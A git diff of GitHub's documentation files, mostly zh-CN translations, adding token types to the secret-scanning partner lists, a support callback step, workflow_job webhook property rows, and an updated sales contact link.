| slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Production Application Secret | square_production_application_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Stripe | Stripe Live API Secret Key | stripe_live_secret_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} @@ -152,7 +160,8 @@ Stripe | Stripe Test API Restricted Key | stripe_test_restricted_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Stripe | Stripe Webhook Signing Secret | stripe_webhook_signing_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Supabase | Supabase Service Key | supabase_service_key{% endif %} Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Telegram | Telegram Bot Token | telegram_bot_token{% endif %} Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id {%- ifversion fpt or ghec or ghes > 3.3 %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-public-repo.md b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-public-repo.md index ee6ec7d7b2..3439f26415 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-public-repo.md +++ b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-public-repo.md @@ -75,6 +75,8 @@ | Samsara | Samsara API 令牌 | | Samsara | Samsara OAuth 访问令牌 | | SendGrid | SendGrid API Key | +| Sendinblue | Sendinblue API Key | +| Sendinblue | Sendinblue SMTP Key | | Shopify | Shopify App 共享密钥 | | Shopify | Shopify 访问令牌 | | Shopify | Shopify 自定义应用访问令牌 | @@ -91,4 +93,5 @@ | Tencent Cloud | 腾讯云密钥 ID | | Twilio | Twilio 帐户字符串标识符 | | Twilio | Twilio API 密钥 | +| Typeform | Typeform Personal Access Token | | Valour | Valour 访问令牌 | diff --git a/translations/zh-CN/data/reusables/support/submit-a-ticket.md b/translations/zh-CN/data/reusables/support/submit-a-ticket.md index 913d33068f..b73276f254 100644 --- a/translations/zh-CN/data/reusables/support/submit-a-ticket.md +++ b/translations/zh-CN/data/reusables/support/submit-a-ticket.md @@ -7,6 +7,9 @@ - 选择 **{% data variables.product.support_ticket_priority_high %}** 以报告影响业务运营的问题，包括 {% ifversion fpt or ghec %}从您自己的帐户和组织还原中删除敏感数据（提交、议题、拉取请求、上传的附件）{% else %}系统性能问题{% endif %}，或报告严重漏洞。 - 选择 **{% data variables.product.support_ticket_priority_normal %}** 以{% ifversion fpt or ghec %}请求帐户恢复或垃圾邮件取消标识、报告用户登录问题{% else %}发出技术请求，如配置更改和第三方集成{% endif %}，以及报告非关键漏洞。 - 选择 **{% data variables.product.support_ticket_priority_low %}** 以提出一般问题和提交有关新功能、购买、培训或状态检查的请求。 +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback. Select **Request a callback from GitHub Support**, select the country code drop-down menu to choose your country, and enter your phone number. ![Request callback option](/assets/images/help/support/request-callback.png) +{%- endif %} 1. 在“Subject（主题）”下，为您遇到的问题输入描述性标题。 ![主题字段](/assets/images/help/support/subject-field.png) 5. 在“How can we help（我们如何提供帮助）”下，提供将帮助支持团队对问题进行故障排除的任何其他信息。 有用的信息可能包括： ![我们如何提供帮助字段](/assets/images/help/support/how-can-we-help-field.png) - 重现问题的步骤 diff --git a/translations/zh-CN/data/reusables/webhooks/workflow_job_properties.md b/translations/zh-CN/data/reusables/webhooks/workflow_job_properties.md index f55fa2d6ee..e47a1b5a4c 100644 --- a/translations/zh-CN/data/reusables/webhooks/workflow_job_properties.md +++ b/translations/zh-CN/data/reusables/webhooks/workflow_job_properties.md @@ -1,4 +1,10 @@ -| 键 | 类型 | 描述 | -| -------------- | ----- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `action` | `字符串` | 执行的操作。 可以是以下选项之一：
                    • `queued` - A new job was created.
                    • `in_progress` - The job has started processing on the runner.
                    • `completed` - The `status` of the job is `completed`.
                    | -| `workflow_job` | `对象` | The workflow job. Many `workflow_job` keys, such as `head_sha`, `conclusion`, and `started_at` are the same as those in a [`check_run`](#check_run) object. | +| 键 | 类型 | 描述 | +| --------------------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `action` | `字符串` | 执行的操作。 可以是以下选项之一：
                    • `queued` - A new job was created.
                    • `in_progress` - The job has started processing on the runner.
                    • `completed` - The `status` of the job is `completed`.
                    | +| `workflow_job` | `对象` | The workflow job. Many `workflow_job` keys, such as `head_sha`, `conclusion`, and `started_at` are the same as those in a [`check_run`](#check_run) object. | +| `workflow_job[status]` | `字符串` | 作业的当前状态。 可以是 `queued`、`in_progress` 或 `completed`。 | +| `workflow_job[labels]` | `数组` | Custom labels for the job. Specified by the [`"runs-on"` attribute](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) in the workflow YAML. | +| `workflow_job[runner_id]` | `整数` | The ID of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_name]` | `字符串` | The name of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_id]` | `整数` | The ID of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_name]` | `字符串` | The name of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | diff --git a/translations/zh-CN/data/variables/contact.yml b/translations/zh-CN/data/variables/contact.yml index 8b103067fa..5d2c474bd0 100644 --- a/translations/zh-CN/data/variables/contact.yml +++ b/translations/zh-CN/data/variables/contact.yml @@ -10,7 +10,7 @@ contact_dmca: >- {% ifversion fpt or ghec %}[版权声明表](https://github.com/contact/dmca){% endif %} contact_privacy: >- {% ifversion fpt or ghec %}[隐私联系表](https://github.com/contact/privacy){% endif %} -contact_enterprise_sales: "[GitHub' 销售团队](https://enterprise.github.com/contact)" +contact_enterprise_sales: "[GitHub' 销售团队](https://github.com/enterprise/contact)" contact_feedback_actions: '[GitHub 操作的反馈表](https://support.github.com/contact/feedback?contact[category]=actions)' #The team that provides Standard Support enterprise_support: 'GitHub Enterprise 支持'